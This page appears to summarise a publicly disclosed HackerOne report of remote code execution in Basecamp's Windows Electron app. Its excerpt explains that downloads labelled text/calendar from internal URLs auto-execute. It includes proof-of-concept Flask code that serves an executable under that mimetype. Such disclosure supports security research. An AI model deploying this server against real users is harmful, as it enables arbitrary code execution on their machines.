Remote Code Execution in Basecamp Windows Electron App
该报告还没有中文解读。
原文摘录
摘自原文(1991 字符中的一小部分)
The Windows application for Basecamp, allows a "Download" feature for images in your posts. Under certain restrictions, those files are downloaded and sometimes even automatically opened (executed). The file will be executed if it's a download from an internal URL and the mimetype is text/calendar. …
原文中的代码
from flask import Flask, send_from_directory
app = Flask(__name__)
@app.route('/<path:path>')
def hello(path):
return send_from_directory(".", "file.exe", as_attachment=True, mimetype="text/calendar")
if __name__ == '__main__':
app.run(port=80,host="0.0.0.0")默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Basecamp 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @co0sin · 版权归作者与 Basecamp 所有